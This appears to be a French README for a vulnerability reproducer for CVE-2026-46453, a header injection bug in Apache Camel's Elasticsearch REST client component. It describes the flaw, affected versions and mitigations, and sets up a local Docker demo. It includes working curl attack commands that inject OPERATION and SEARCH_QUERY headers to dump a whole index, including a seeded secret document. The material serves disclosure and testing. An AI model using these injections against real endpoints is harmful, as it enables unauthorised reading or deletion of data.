
Reproducteur pour CVE-2026-46453 — injection d'en-tête sans préfixe dans camel-elasticsearch-rest-client d'Apache Camel (remplacement d'opération/requête via les en-têtes HTTP entrants)
Ce projet démontre une injection d'en-têtes de message / contournement d'autorisation dans le composant camel-elasticsearch-rest-client d'Apache Camel, suivi sous le nom CVE-2026-46453. Le composant lit plusieurs en-têtes Exchange pour contrôler son comportement — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. Dans les versions affectées, ces valeurs chaîne d'en-têtes sont des noms simples sans préfixe ("OPERATION", "SEARCH_QUERY", …) plutôt que les noms préfixés par que tous les autres composants utilisent. Le entrant de Camel ne bloque que les noms qui commencent par /, donc ces en-têtes . Lorsqu'une route expose un point d'entrée HTTP (par exemple platform-http) devant un producteur elasticsearch-rest-client, un client HTTP non fiable peut définir ces en-têtes directement et configurées par l'auteur de la route — lire tout l'index, supprimer des documents, etc. Aucune information d'identification n'est requise.
CamelHttpHeaderFilterStrategyCamelcamel| Propriété | Valeur |
|---|---|
| Composant | camel-elasticsearch-rest-client |
| Constantes affectées | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (valeurs sans préfixe) |
| CWE | CWE-20 (Validation d'entrée incorrecte) + CWE-639 (Contournement d'autorisation via clé contrôlée par l'utilisateur) |
| Impact | Un client HTTP non fiable outrepasse l'opération/requête ES — lit/supprime/exfiltre des documents |
| Versions affectées | De 4.3.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| Signaleur | Yu Bao (PayPal) |
Même famille d'injection d'en-têtes que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 et CVE-2026-47323 — toutes issues de composants lisant des en-têtes entrants que le
HeaderFilterStrategypar défaut ne bloque pas car les noms ne commencent pas par le préfixeCamel.
// ElasticSearchRestClientConstant - affecté 4.18.2 (valeurs sans préfixe)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - l'en-tête prend le pas sur l'opération configurée dans le point de terminaison
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy ne bloque que Camel*/camel*, donc un en-tête HTTP entrant OPERATION: SEARCH (et
SEARCH_QUERY: {...}) passe et outrepasse le operation=GET_BY_ID de l'auteur de la route. Le correctif
(4.14.8 / 4.18.3 / 4.21.0) renomme les valeurs en CamelElasticsearchOperation, CamelElasticsearchSearchQuery,
etc., de sorte que le filtre entrant les bloque (les noms des champs Java restent inchangés).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// l'auteur de la route souhaite une seule opération sécurisée : récupérer un document par son identifiant
La requête HTTP d'un attaquant avec OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} outrepasse cela
et vide tout l'index.
La victime est la route Camel ; l'attaquant est tout client HTTP pouvant atteindre le point de terminaison platform-http. Le reproducteur exécute un vrai Elasticsearch dans Docker et l'application Camel sur l'hôte (l'application communique avec ES via le port mappé).
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (sécurité désactivée)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # insère un document "public" et un document "secret"
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attaquant : GET_BY_ID légitime vs OPERATION=SEARCH injecté
└── resources/
└── application.properties
docker compose up -d
# attendre qu'il soit prêt :
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# l'application insère l'index 'products' avec un document public et un document secret au démarrage
curl -s http://localhost:8080/exploit/attack
# === 1) Requête légitime (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret divulgué : false
# === 2) Requête d'attaque (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret divulgué : true
#
# >>> Preuve d'injection d'en-têtes — l'attaquant a outrepassé l'opération et lu tout l'index : true
Vous pouvez aussi le faire manuellement — les en-têtes injectés passent directement à travers le filtre entrant de platform-http :
# légitime : le GET_BY_ID de l'auteur de la route renvoie uniquement le document public
curl -s -H "ID: public-1" http://localhost:8080/products
# attaque : outrepasser l'opération et vider tout l'index (y compris le secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
Toute route qui expose un point d'entrée HTTP devant un producteur elasticsearch-rest-client. L'attaquant définit
OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS ou ID sur la requête HTTP entrante ; ils contournent
le filtre entrant du préfixe Camel et atteignent le producteur.
HttpHeaderFilterStrategy par défaut (ne bloque que Camel*), qui ne couvre pas les en-têtes ES sans préfixe.Mettez à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), qui préfixe les valeurs des en-têtes avec Camel afin que le
filtre entrant les bloque.
En attendant la mise à niveau, supprimez les en-têtes affectés des messages entrants non fiables avant le producteur :
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
ou appliquez un HeaderFilterStrategy personnalisé qui bloque ces noms.
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.